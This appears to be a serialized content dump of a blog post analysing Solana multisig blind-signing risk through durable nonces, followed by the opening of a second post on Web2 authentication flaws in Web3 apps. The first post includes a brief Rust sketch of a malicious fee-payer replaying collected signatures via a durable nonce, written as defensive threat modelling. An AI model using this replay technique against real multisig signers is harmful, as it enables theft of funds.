",{"type":23,"tag":213,"props":68487,"children":68488},{"style":274},[68489],{"type":28,"value":68490},"+=",{"type":23,"tag":213,"props":68492,"children":68493},{"style":514},[68494],{"type":28,"value":4618},{"type":23,"tag":213,"props":68496,"children":68497},{"style":220},[68498],{"type":28,"value":313},{"type":23,"tag":213,"props":68500,"children":68501},{"class":215,"line":1912},[68502,68506,68510,68515,68519,68524],{"type":23,"tag":213,"props":68503,"children":68504},{"style":290},[68505],{"type":28,"value":14920},{"type":23,"tag":213,"props":68507,"children":68508},{"style":220},[68509],{"type":28,"value":265},{"type":23,"tag":213,"props":68511,"children":68512},{"style":290},[68513],{"type":28,"value":68514},"TransactionError",{"type":23,"tag":213,"props":68516,"children":68517},{"style":274},[68518],{"type":28,"value":562},{"type":23,"tag":213,"props":68520,"children":68521},{"style":290},[68522],{"type":28,"value":68523},"BlockhashNotFound",{"type":23,"tag":213,"props":68525,"children":68526},{"style":220},[68527],{"type":28,"value":2183},{"type":23,"tag":213,"props":68529,"children":68530},{"class":215,"line":1921},[68531],{"type":23,"tag":213,"props":68532,"children":68533},{"style":220},[68534],{"type":28,"value":2875},{"type":23,"tag":24,"props":68536,"children":68537},{},[68538],{"type":28,"value":68539},"The documentation does a good job of explaining how they work.",{"type":23,"tag":3036,"props":68541,"children":68542},{},[68543],{"type":23,"tag":24,"props":68544,"children":68545},{},[68546],{"type":28,"value":68547},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":23,"tag":24,"props":68549,"children":68550},{},[68551,68553,68560],{"type":28,"value":68552},"Durable nonces are created and managed ",{"type":23,"tag":36,"props":68554,"children":68557},{"href":68555,"rel":68556},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[40],[68558],{"type":28,"value":68559},"by the system program",{"type":28,"value":68561},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":23,"tag":24,"props":68563,"children":68564},{},[68565,68567,68574],{"type":28,"value":68566},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":23,"tag":36,"props":68568,"children":68571},{"href":68569,"rel":68570},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[40],[68572],{"type":28,"value":68573},"based on the current blockhash",{"type":28,"value":68575},", and cannot be predicted in advance.",{"type":23,"tag":202,"props":68577,"children":68579},{"className":206,"code":68578,"language":205,"meta":7,"style":7}," let hash_queue = self.blockhash_queue.read().unwrap();\n let last_blockhash = hash_queue.last_hash();\n let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[68580],{"type":23,"tag":209,"props":68581,"children":68582},{"__ignoreMap":7},[68583,68635,68668],{"type":23,"tag":213,"props":68584,"children":68585},{"class":215,"line":216},[68586,68590,68594,68598,68602,68606,68611,68615,68619,68623,68627,68631],{"type":23,"tag":213,"props":68587,"children":68588},{"style":230},[68589],{"type":28,"value":487},{"type":23,"tag":213,"props":68591,"children":68592},{"style":268},[68593],{"type":28,"value":68144},{"type":23,"tag":213,"props":68595,"children":68596},{"style":274},[68597],{"type":28,"value":511},{"type":23,"tag":213,"props":68599,"children":68600},{"style":230},[68601],{"type":28,"value":13873},{"type":23,"tag":213,"props":68603,"children":68604},{"style":274},[68605],{"type":28,"value":124},{"type":23,"tag":213,"props":68607,"children":68608},{"style":220},[68609],{"type":28,"value":68610},"blockhash_queue",{"type":23,"tag":213,"props":68612,"children":68613},{"style":274},[68614],{"type":28,"value":124},{"type":23,"tag":213,"props":68616,"children":68617},{"style":257},[68618],{"type":28,"value":60694},{"type":23,"tag":213,"props":68620,"children":68621},{"style":220},[68622],{"type":28,"value":13955},{"type":23,"tag":213,"props":68624,"children":68625},{"style":274},[68626],{"type":28,"value":124},{"type":23,"tag":213,"props":68628,"children":68629},{"style":257},[68630],{"type":28,"value":3754},{"type":23,"tag":213,"props":68632,"children":68633},{"style":220},[68634],{"type":28,"value":3759},{"type":23,"tag":213,"props":68636,"children":68637},{"class":215,"line":226},[68638,68642,68647,68651,68655,68659,68664],{"type":23,"tag":213,"props":68639,"children":68640},{"style":230},[68641],{"type":28,"value":487},{"type":23,"tag":213,"props":68643,"children":68644},{"style":268},[68645],{"type":28,"value":68646}," last_blockhash",{"type":23,"tag":213,"props":68648,"children":68649},{"style":274},[68650],{"type":28,"value":511},{"type":23,"tag":213,"props":68652,"children":68653},{"style":268},[68654],{"type":28,"value":68144},{"type":23,"tag":213,"props":68656,"children":68657},{"style":274},[68658],{"type":28,"value":124},{"type":23,"tag":213,"props":68660,"children":68661},{"style":257},[68662],{"type":28,"value":68663},"last_hash",{"type":23,"tag":213,"props":68665,"children":68666},{"style":220},[68667],{"type":28,"value":3759},{"type":23,"tag":213,"props":68669,"children":68670},{"class":215,"line":524},[68671,68675,68680,68684,68689,68693,68698,68702,68706,68711],{"type":23,"tag":213,"props":68672,"children":68673},{"style":230},[68674],{"type":28,"value":487},{"type":23,"tag":213,"props":68676,"children":68677},{"style":268},[68678],{"type":28,"value":68679}," next_durable_nonce",{"type":23,"tag":213,"props":68681,"children":68682},{"style":274},[68683],{"type":28,"value":511},{"type":23,"tag":213,"props":68685,"children":68686},{"style":290},[68687],{"type":28,"value":68688}," DurableNonce",{"type":23,"tag":213,"props":68690,"children":68691},{"style":274},[68692],{"type":28,"value":562},{"type":23,"tag":213,"props":68694,"children":68695},{"style":257},[68696],{"type":28,"value":68697},"from_blockhash",{"type":23,"tag":213,"props":68699,"children":68700},{"style":220},[68701],{"type":28,"value":265},{"type":23,"tag":213,"props":68703,"children":68704},{"style":274},[68705],{"type":28,"value":405},{"type":23,"tag":213,"props":68707,"children":68708},{"style":268},[68709],{"type":28,"value":68710},"last_blockhash",{"type":23,"tag":213,"props":68712,"children":68713},{"style":220},[68714],{"type":28,"value":2867},{"type":23,"tag":24,"props":68716,"children":68717},{},[68718,68720,68725],{"type":28,"value":68719},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":23,"tag":87,"props":68721,"children":68722},{},[68723],{"type":28,"value":68724},"can",{"type":28,"value":68726}," be saved and reused.",{"type":23,"tag":47,"props":68728,"children":68730},{"id":68729},"threat-model",[68731],{"type":28,"value":68732},"Threat Model",{"type":23,"tag":24,"props":68734,"children":68735},{},[68736],{"type":28,"value":68737},"Let's consider a simplified form of the original question.",{"type":23,"tag":131,"props":68739,"children":68740},{},[68741,68746,68751],{"type":23,"tag":135,"props":68742,"children":68743},{},[68744],{"type":28,"value":68745},"We have a N/M multisig",{"type":23,"tag":135,"props":68747,"children":68748},{},[68749],{"type":28,"value":68750},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":23,"tag":135,"props":68752,"children":68753},{},[68754],{"type":28,"value":68755},"We can accurately query chain state.",{"type":23,"tag":24,"props":68757,"children":68758},{},[68759],{"type":28,"value":68760},"Can we safely sign transactions?",{"type":23,"tag":24,"props":68762,"children":68763},{},[68764],{"type":28,"value":68765},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":23,"tag":24,"props":68767,"children":68768},{},[68769,68771,68777,68779,68786],{"type":28,"value":68770},"Durable nonces require an onchain account, and it's possible to use a ",{"type":23,"tag":209,"props":68772,"children":68774},{"className":68773},[],[68775],{"type":28,"value":68776},"getProgramAccounts",{"type":28,"value":68778}," call to validate if your signer ",{"type":23,"tag":36,"props":68780,"children":68783},{"href":68781,"rel":68782},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[40],[68784],{"type":28,"value":68785},"has an associated durable nonce",{"type":28,"value":124},{"type":23,"tag":202,"props":68788,"children":68790},{"className":35988,"code":68789,"language":35990,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n // The system program owns all nonce accounts.\n SYSTEM_PROGRAM_ADDRESS,\n {\n filters: [\n {\n // Nonce accounts are exactly 80 bytes long\n dataSize: 80,\n },\n {\n // The authority's 32-byte public key is written\n // into bytes 8-40 of the nonce's account data.\n memcmp: {\n bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n offset: 8,\n },\n },\n ],\n }\n);\n",[68791],{"type":23,"tag":209,"props":68792,"children":68793},{"__ignoreMap":7},[68794,68841,68877,68885,68897,68905,68917,68925,68933,68950,68957,68964,68972,68980,68992,69018,69035,69042,69049,69057,69064],{"type":23,"tag":213,"props":68795,"children":68796},{"class":215,"line":216},[68797,68801,68806,68810,68814,68819,68823,68828,68832,68837],{"type":23,"tag":213,"props":68798,"children":68799},{"style":230},[68800],{"type":28,"value":632},{"type":23,"tag":213,"props":68802,"children":68803},{"style":268},[68804],{"type":28,"value":68805}," connection",{"type":23,"tag":213,"props":68807,"children":68808},{"style":274},[68809],{"type":28,"value":511},{"type":23,"tag":213,"props":68811,"children":68812},{"style":230},[68813],{"type":28,"value":31989},{"type":23,"tag":213,"props":68815,"children":68816},{"style":257},[68817],{"type":28,"value":68818}," Connection",{"type":23,"tag":213,"props":68820,"children":68821},{"style":220},[68822],{"type":28,"value":265},{"type":23,"tag":213,"props":68824,"children":68825},{"style":257},[68826],{"type":28,"value":68827},"clusterApiUrl",{"type":23,"tag":213,"props":68829,"children":68830},{"style":220},[68831],{"type":28,"value":265},{"type":23,"tag":213,"props":68833,"children":68834},{"style":246},[68835],{"type":28,"value":68836},"'testnet'",{"type":23,"tag":213,"props":68838,"children":68839},{"style":220},[68840],{"type":28,"value":7313},{"type":23,"tag":213,"props":68842,"children":68843},{"class":215,"line":226},[68844,68848,68853,68857,68861,68865,68869,68873],{"type":23,"tag":213,"props":68845,"children":68846},{"style":230},[68847],{"type":28,"value":632},{"type":23,"tag":213,"props":68849,"children":68850},{"style":268},[68851],{"type":28,"value":68852}," nonceAccounts",{"type":23,"tag":213,"props":68854,"children":68855},{"style":274},[68856],{"type":28,"value":511},{"type":23,"tag":213,"props":68858,"children":68859},{"style":1362},[68860],{"type":28,"value":36269},{"type":23,"tag":213,"props":68862,"children":68863},{"style":268},[68864],{"type":28,"value":68805},{"type":23,"tag":213,"props":68866,"children":68867},{"style":220},[68868],{"type":28,"value":124},{"type":23,"tag":213,"props":68870,"children":68871},{"style":257},[68872],{"type":28,"value":68776},{"type":23,"tag":213,"props":68874,"children":68875},{"style":220},[68876],{"type":28,"value":1511},{"type":23,"tag":213,"props":68878,"children":68879},{"class":215,"line":524},[68880],{"type":23,"tag":213,"props":68881,"children":68882},{"style":537},[68883],{"type":28,"value":68884}," // The system program owns all nonce accounts.\n",{"type":23,"tag":213,"props":68886,"children":68887},{"class":215,"line":533},[68888,68893],{"type":23,"tag":213,"props":68889,"children":68890},{"style":268},[68891],{"type":28,"value":68892}," SYSTEM_PROGRAM_ADDRESS",{"type":23,"tag":213,"props":68894,"children":68895},{"style":220},[68896],{"type":28,"value":944},{"type":23,"tag":213,"props":68898,"children":68899},{"class":215,"line":543},[68900],{"type":23,"tag":213,"props":68901,"children":68902},{"style":220},[68903],{"type":28,"value":68904}," {\n",{"type":23,"tag":213,"props":68906,"children":68907},{"class":215,"line":551},[68908,68913],{"type":23,"tag":213,"props":68909,"children":68910},{"style":268},[68911],{"type":28,"value":68912}," filters:",{"type":23,"tag":213,"props":68914,"children":68915},{"style":220},[68916],{"type":28,"value":25676},{"type":23,"tag":213,"props":68918,"children":68919},{"class":215,"line":570},[68920],{"type":23,"tag":213,"props":68921,"children":68922},{"style":220},[68923],{"type":28,"value":68924}," {\n",{"type":23,"tag":213,"props":68926,"children":68927},{"class":215,"line":655},[68928],{"type":23,"tag":213,"props":68929,"children":68930},{"style":537},[68931],{"type":28,"value":68932}," // Nonce accounts are exactly 80 bytes long\n",{"type":23,"tag":213,"props":68934,"children":68935},{"class":215,"line":1176},[68936,68941,68946],{"type":23,"tag":213,"props":68937,"children":68938},{"style":268},[68939],{"type":28,"value":68940}," dataSize:",{"type":23,"tag":213,"props":68942,"children":68943},{"style":514},[68944],{"type":28,"value":68945}," 80",{"type":23,"tag":213,"props":68947,"children":68948},{"style":220},[68949],{"type":28,"value":944},{"type":23,"tag":213,"props":68951,"children":68952},{"class":215,"line":1202},[68953],{"type":23,"tag":213,"props":68954,"children":68955},{"style":220},[68956],{"type":28,"value":37257},{"type":23,"tag":213,"props":68958,"children":68959},{"class":215,"line":1758},[68960],{"type":23,"tag":213,"props":68961,"children":68962},{"style":220},[68963],{"type":28,"value":68924},{"type":23,"tag":213,"props":68965,"children":68966},{"class":215,"line":1767},[68967],{"type":23,"tag":213,"props":68968,"children":68969},{"style":537},[68970],{"type":28,"value":68971}," // The authority's 32-byte public key is written\n",{"type":23,"tag":213,"props":68973,"children":68974},{"class":215,"line":1789},[68975],{"type":23,"tag":213,"props":68976,"children":68977},{"style":537},[68978],{"type":28,"value":68979}," // into bytes 8-40 of the nonce's account data.\n",{"type":23,"tag":213,"props":68981,"children":68982},{"class":215,"line":1812},[68983,68988],{"type":23,"tag":213,"props":68984,"children":68985},{"style":268},[68986],{"type":28,"value":68987}," memcmp:",{"type":23,"tag":213,"props":68989,"children":68990},{"style":220},[68991],{"type":28,"value":1375},{"type":23,"tag":213,"props":68993,"children":68994},{"class":215,"line":1838},[68995,69000,69005,69009,69014],{"type":23,"tag":213,"props":68996,"children":68997},{"style":268},[68998],{"type":28,"value":68999}," bytes:",{"type":23,"tag":213,"props":69001,"children":69002},{"style":268},[69003],{"type":28,"value":69004}," AUTHORITY_PUBLIC_KEY",{"type":23,"tag":213,"props":69006,"children":69007},{"style":220},[69008],{"type":28,"value":124},{"type":23,"tag":213,"props":69010,"children":69011},{"style":257},[69012],{"type":28,"value":69013},"toBase58",{"type":23,"tag":213,"props":69015,"children":69016},{"style":220},[69017],{"type":28,"value":1809},{"type":23,"tag":213,"props":69019,"children":69020},{"class":215,"line":1851},[69021,69026,69031],{"type":23,"tag":213,"props":69022,"children":69023},{"style":268},[69024],{"type":28,"value":69025}," offset:",{"type":23,"tag":213,"props":69027,"children":69028},{"style":514},[69029],{"type":28,"value":69030}," 8",{"type":23,"tag":213,"props":69032,"children":69033},{"style":220},[69034],{"type":28,"value":944},{"type":23,"tag":213,"props":69036,"children":69037},{"class":215,"line":1864},[69038],{"type":23,"tag":213,"props":69039,"children":69040},{"style":220},[69041],{"type":28,"value":1896},{"type":23,"tag":213,"props":69043,"children":69044},{"class":215,"line":1890},[69045],{"type":23,"tag":213,"props":69046,"children":69047},{"style":220},[69048],{"type":28,"value":37257},{"type":23,"tag":213,"props":69050,"children":69051},{"class":215,"line":1899},[69052],{"type":23,"tag":213,"props":69053,"children":69054},{"style":220},[69055],{"type":28,"value":69056}," ],\n",{"type":23,"tag":213,"props":69058,"children":69059},{"class":215,"line":1912},[69060],{"type":23,"tag":213,"props":69061,"children":69062},{"style":220},[69063],{"type":28,"value":5964},{"type":23,"tag":213,"props":69065,"children":69066},{"class":215,"line":1921},[69067],{"type":23,"tag":213,"props":69068,"children":69069},{"style":220},[69070],{"type":28,"value":2867},{"type":23,"tag":24,"props":69072,"children":69073},{},[69074,69076,69084],{"type":28,"value":69075},"Unfortunately this is not sufficient",{"type":23,"tag":15533,"props":69077,"children":69078},{},[69079],{"type":23,"tag":36,"props":69080,"children":69082},{"href":29679,"ariaDescribedBy":69081,"dataFootnoteRef":7,"id":29681},[15540],[69083],{"type":28,"value":4106},{"type":28,"value":69085},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":23,"tag":202,"props":69087,"children":69089},{"className":206,"code":69088,"language":205,"meta":7,"style":7}," let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n let message =\n Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n .serialize();\n",[69090],{"type":23,"tag":209,"props":69091,"children":69092},{"__ignoreMap":7},[69093,69159,69175,69258],{"type":23,"tag":213,"props":69094,"children":69095},{"class":215,"line":216},[69096,69100,69104,69108,69113,69117,69121,69125,69129,69133,69137,69141,69146,69150,69155],{"type":23,"tag":213,"props":69097,"children":69098},{"style":230},[69099],{"type":28,"value":487},{"type":23,"tag":213,"props":69101,"children":69102},{"style":268},[69103],{"type":28,"value":1370},{"type":23,"tag":213,"props":69105,"children":69106},{"style":274},[69107],{"type":28,"value":511},{"type":23,"tag":213,"props":69109,"children":69110},{"style":220},[69111],{"type":28,"value":69112}," system_instruction",{"type":23,"tag":213,"props":69114,"children":69115},{"style":274},[69116],{"type":28,"value":562},{"type":23,"tag":213,"props":69118,"children":69119},{"style":257},[69120],{"type":28,"value":2629},{"type":23,"tag":213,"props":69122,"children":69123},{"style":220},[69124],{"type":28,"value":265},{"type":23,"tag":213,"props":69126,"children":69127},{"style":274},[69128],{"type":28,"value":405},{"type":23,"tag":213,"props":69130,"children":69131},{"style":268},[69132],{"type":28,"value":19527},{"type":23,"tag":213,"props":69134,"children":69135},{"style":220},[69136],{"type":28,"value":424},{"type":23,"tag":213,"props":69138,"children":69139},{"style":274},[69140],{"type":28,"value":405},{"type":23,"tag":213,"props":69142,"children":69143},{"style":268},[69144],{"type":28,"value":69145},"ledger_base_pubkey",{"type":23,"tag":213,"props":69147,"children":69148},{"style":220},[69149],{"type":28,"value":424},{"type":23,"tag":213,"props":69151,"children":69152},{"style":514},[69153],{"type":28,"value":69154},"42",{"type":23,"tag":213,"props":69156,"children":69157},{"style":220},[69158],{"type":28,"value":2867},{"type":23,"tag":213,"props":69160,"children":69161},{"class":215,"line":226},[69162,69166,69171],{"type":23,"tag":213,"props":69163,"children":69164},{"style":230},[69165],{"type":28,"value":487},{"type":23,"tag":213,"props":69167,"children":69168},{"style":268},[69169],{"type":28,"value":69170}," message",{"type":23,"tag":213,"props":69172,"children":69173},{"style":274},[69174],{"type":28,"value":35913},{"type":23,"tag":213,"props":69176,"children":69177},{"class":215,"line":524},[69178,69183,69187,69192,69196,69200,69204,69208,69212,69216,69220,69224,69229,69233,69237,69242,69246,69250,69254],{"type":23,"tag":213,"props":69179,"children":69180},{"style":290},[69181],{"type":28,"value":69182}," Message",{"type":23,"tag":213,"props":69184,"children":69185},{"style":274},[69186],{"type":28,"value":562},{"type":23,"tag":213,"props":69188,"children":69189},{"style":257},[69190],{"type":28,"value":69191},"new_with_nonce",{"type":23,"tag":213,"props":69193,"children":69194},{"style":220},[69195],{"type":28,"value":265},{"type":23,"tag":213,"props":69197,"children":69198},{"style":257},[69199],{"type":28,"value":3967},{"type":23,"tag":213,"props":69201,"children":69202},{"style":220},[69203],{"type":28,"value":3821},{"type":23,"tag":213,"props":69205,"children":69206},{"style":268},[69207],{"type":28,"value":43728},{"type":23,"tag":213,"props":69209,"children":69210},{"style":220},[69211],{"type":28,"value":23108},{"type":23,"tag":213,"props":69213,"children":69214},{"style":290},[69215],{"type":28,"value":42076},{"type":23,"tag":213,"props":69217,"children":69218},{"style":220},[69219],{"type":28,"value":265},{"type":23,"tag":213,"props":69221,"children":69222},{"style":274},[69223],{"type":28,"value":405},{"type":23,"tag":213,"props":69225,"children":69226},{"style":268},[69227],{"type":28,"value":69228},"evil_nonce_authority",{"type":23,"tag":213,"props":69230,"children":69231},{"style":220},[69232],{"type":28,"value":15236},{"type":23,"tag":213,"props":69234,"children":69235},{"style":274},[69236],{"type":28,"value":405},{"type":23,"tag":213,"props":69238,"children":69239},{"style":268},[69240],{"type":28,"value":69241},"nonce_account",{"type":23,"tag":213,"props":69243,"children":69244},{"style":220},[69245],{"type":28,"value":424},{"type":23,"tag":213,"props":69247,"children":69248},{"style":274},[69249],{"type":28,"value":405},{"type":23,"tag":213,"props":69251,"children":69252},{"style":268},[69253],{"type":28,"value":69228},{"type":23,"tag":213,"props":69255,"children":69256},{"style":220},[69257],{"type":28,"value":2183},{"type":23,"tag":213,"props":69259,"children":69260},{"class":215,"line":533},[69261,69265,69270],{"type":23,"tag":213,"props":69262,"children":69263},{"style":274},[69264],{"type":28,"value":3264},{"type":23,"tag":213,"props":69266,"children":69267},{"style":257},[69268],{"type":28,"value":69269},"serialize",{"type":23,"tag":213,"props":69271,"children":69272},{"style":220},[69273],{"type":28,"value":3759},{"type":23,"tag":24,"props":69275,"children":69276},{},[69277,69279,69286],{"type":28,"value":69278},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":23,"tag":36,"props":69280,"children":69283},{"href":69281,"rel":69282},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[40],[69284],{"type":28,"value":69285},"logs the fee-payer here",{"type":28,"value":124},{"type":23,"tag":202,"props":69288,"children":69290},{"className":16566,"code":69289,"language":3244,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[69291],{"type":23,"tag":209,"props":69292,"children":69293},{"__ignoreMap":7},[69294,69353,69409],{"type":23,"tag":213,"props":69295,"children":69296},{"class":215,"line":216},[69297,69301,69306,69310,69314,69319,69323,69328,69332,69336,69340,69344,69349],{"type":23,"tag":213,"props":69298,"children":69299},{"style":230},[69300],{"type":28,"value":29741},{"type":23,"tag":213,"props":69302,"children":69303},{"style":257},[69304],{"type":28,"value":69305}," print_config_show_authority",{"type":23,"tag":213,"props":69307,"children":69308},{"style":220},[69309],{"type":28,"value":265},{"type":23,"tag":213,"props":69311,"children":69312},{"style":230},[69313],{"type":28,"value":632},{"type":23,"tag":213,"props":69315,"children":69316},{"style":220},[69317],{"type":28,"value":69318}," PrintConfig",{"type":23,"tag":213,"props":69320,"children":69321},{"style":274},[69322],{"type":28,"value":1696},{"type":23,"tag":213,"props":69324,"children":69325},{"style":268},[69326],{"type":28,"value":69327}," print_config",{"type":23,"tag":213,"props":69329,"children":69330},{"style":220},[69331],{"type":28,"value":424},{"type":23,"tag":213,"props":69333,"children":69334},{"style":230},[69335],{"type":28,"value":632},{"type":23,"tag":213,"props":69337,"children":69338},{"style":220},[69339],{"type":28,"value":419},{"type":23,"tag":213,"props":69341,"children":69342},{"style":274},[69343],{"type":28,"value":1696},{"type":23,"tag":213,"props":69345,"children":69346},{"style":268},[69347],{"type":28,"value":69348}," authority",{"type":23,"tag":213,"props":69350,"children":69351},{"style":220},[69352],{"type":28,"value":14870},{"type":23,"tag":213,"props":69354,"children":69355},{"class":215,"line":226},[69356,69360,69364,69368,69373,69377,69381,69386,69390,69395,69399,69404],{"type":23,"tag":213,"props":69357,"children":69358},{"style":1362},[69359],{"type":28,"value":17040},{"type":23,"tag":213,"props":69361,"children":69362},{"style":268},[69363],{"type":28,"value":69327},{"type":23,"tag":213,"props":69365,"children":69366},{"style":220},[69367],{"type":28,"value":303},{"type":23,"tag":213,"props":69369,"children":69370},{"style":268},[69371],{"type":28,"value":69372},"expert_mode",{"type":23,"tag":213,"props":69374,"children":69375},{"style":274},[69376],{"type":28,"value":23756},{"type":23,"tag":213,"props":69378,"children":69379},{"style":274},[69380],{"type":28,"value":2658},{"type":23,"tag":213,"props":69382,"children":69383},{"style":257},[69384],{"type":28,"value":69385},"pubkeys_equal",{"type":23,"tag":213,"props":69387,"children":69388},{"style":220},[69389],{"type":28,"value":265},{"type":23,"tag":213,"props":69391,"children":69392},{"style":268},[69393],{"type":28,"value":69394},"print_config",{"type":23,"tag":213,"props":69396,"children":69397},{"style":220},[69398],{"type":28,"value":303},{"type":23,"tag":213,"props":69400,"children":69401},{"style":268},[69402],{"type":28,"value":69403},"signer_pubkey",{"type":23,"tag":213,"props":69405,"children":69406},{"style":220},[69407],{"type":28,"value":69408},", authority);\n",{"type":23,"tag":213,"props":69410,"children":69411},{"class":215,"line":524},[69412],{"type":23,"tag":213,"props":69413,"children":69414},{"style":220},[69415],{"type":28,"value":1208},{"type":23,"tag":24,"props":69417,"children":69418},{},[69419],{"type":28,"value":69420},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":23,"tag":24,"props":69422,"children":69423},{},[69424],{"type":28,"value":69425},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":23,"tag":24,"props":69427,"children":69428},{},[69429],{"type":28,"value":69430},"We can then use the following procedure.",{"type":23,"tag":131,"props":69432,"children":69433},{},[69434,69439,69444,69449,69454],{"type":23,"tag":135,"props":69435,"children":69436},{},[69437],{"type":28,"value":69438},"Ensure all signers have no durable nonce accounts.",{"type":23,"tag":135,"props":69440,"children":69441},{},[69442],{"type":28,"value":69443},"The first signer signs and submits the transaction.",{"type":23,"tag":135,"props":69445,"children":69446},{},[69447],{"type":28,"value":69448},"Wait two minutes for all recent blockhashes to expire.",{"type":23,"tag":135,"props":69450,"children":69451},{},[69452],{"type":28,"value":69453},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":23,"tag":135,"props":69455,"children":69456},{},[69457],{"type":28,"value":69458},"Repeat steps 2 to 4 for each signer",{"type":23,"tag":47,"props":69460,"children":69462},{"id":69461},"beyond",[69463],{"type":28,"value":69464},"Beyond",{"type":23,"tag":24,"props":69466,"children":69467},{},[69468],{"type":28,"value":69469},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":23,"tag":24,"props":69471,"children":69472},{},[69473,69475,69482],{"type":28,"value":69474},"For example, pcaversaccio wrote a tool to ",{"type":23,"tag":36,"props":69476,"children":69479},{"href":69477,"rel":69478},"https://github.com/pcaversaccio/safe-tx-hashes-util",[40],[69480],{"type":28,"value":69481},"validate Safe transaction hashes",{"type":28,"value":69483},". As the space matures, we hope more open source tooling will come to light.",{"type":23,"tag":18473,"props":69485,"children":69487},{"className":69486,"dataFootnotes":7},[18476],[69488,69493],{"type":23,"tag":47,"props":69489,"children":69491},{"className":69490,"id":15540},[18481],[69492],{"type":28,"value":18484},{"type":23,"tag":131,"props":69494,"children":69495},{},[69496],{"type":23,"tag":135,"props":69497,"children":69498},{"id":30421},[69499,69501,69509,69511],{"type":28,"value":69500},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":23,"tag":36,"props":69502,"children":69506},{"href":69503,"rel":69504,":style":69505},"https://twitter.com/PierreArowana",[40],"color: #B1D0EE; text-decoration: underline;",[69507],{"type":28,"value":69508},"@PierreArowana",{"type":28,"value":69510}," for pointing this out to me. ",{"type":23,"tag":36,"props":69512,"children":69514},{"href":30449,"ariaLabel":18587,"className":69513,"dataFootnoteBackref":7},[18589],[69515],{"type":28,"value":18592},{"type":23,"tag":2957,"props":69517,"children":69518},{},[69519],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":69521},[69522,69526,69527,69528],{"id":67720,"depth":226,"text":67723,"children":69523},[69524,69525],{"id":67731,"depth":524,"text":67734},{"id":68009,"depth":524,"text":68012},{"id":68729,"depth":226,"text":68732},{"id":69461,"depth":226,"text":69464},{"id":15540,"depth":226,"text":18484},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":69533,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":69534,"description":69535,"date":69536,"author":69537,"image":69538,"isFeatured":18,"onBlogPage":18,"tags":69540,"body":69541,"_type":2967,"_id":71239,"_source":2969,"_file":71240,"_stem":71241,"_extension":2972},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[31257,31256],{"src":69539},"/posts/web2-in-web3/title.jpg",[32196],{"type":20,"children":69542,"toc":71221},[69543,69548,69553,69558,69584,69590,69595,69601,69622,69628,69633,69640,69653,69683,69689,69733,69740,69746,69779,69800,69808,69827,69834,69839,69845,69850,69855,69880,69885,69891,69897,69918,69924,69951,69979,69986,69991,69996,70341,70345,70367,70373,70394,70408,70421,70426,70442,70447,71176,71181,71186,71191,71203,71207,71212,71217],{"type":23,"tag":24,"props":69544,"children":69545},{},[69546],{"type":28,"value":69547},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":23,"tag":24,"props":69549,"children":69550},{},[69551],{"type":28,"value":69552},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":23,"tag":24,"props":69554,"children":69555},{},[69556],{"type":28,"value":69557},"In this article, we will discuss three cases we discovered:",{"type":23,"tag":131,"props":69559,"children":69560},{},[69561,69566,69579],{"type":23,"tag":135,"props":69562,"children":69563},{},[69564],{"type":28,"value":69565},"OAuth Logic Vulnerability on an Authentication Provider",{"type":23,"tag":135,"props":69567,"children":69568},{},[69569,69571,69577],{"type":28,"value":69570},"Supabase ",{"type":23,"tag":209,"props":69572,"children":69574},{"className":69573},[],[69575],{"type":28,"value":69576},"user_metadata",{"type":28,"value":69578}," 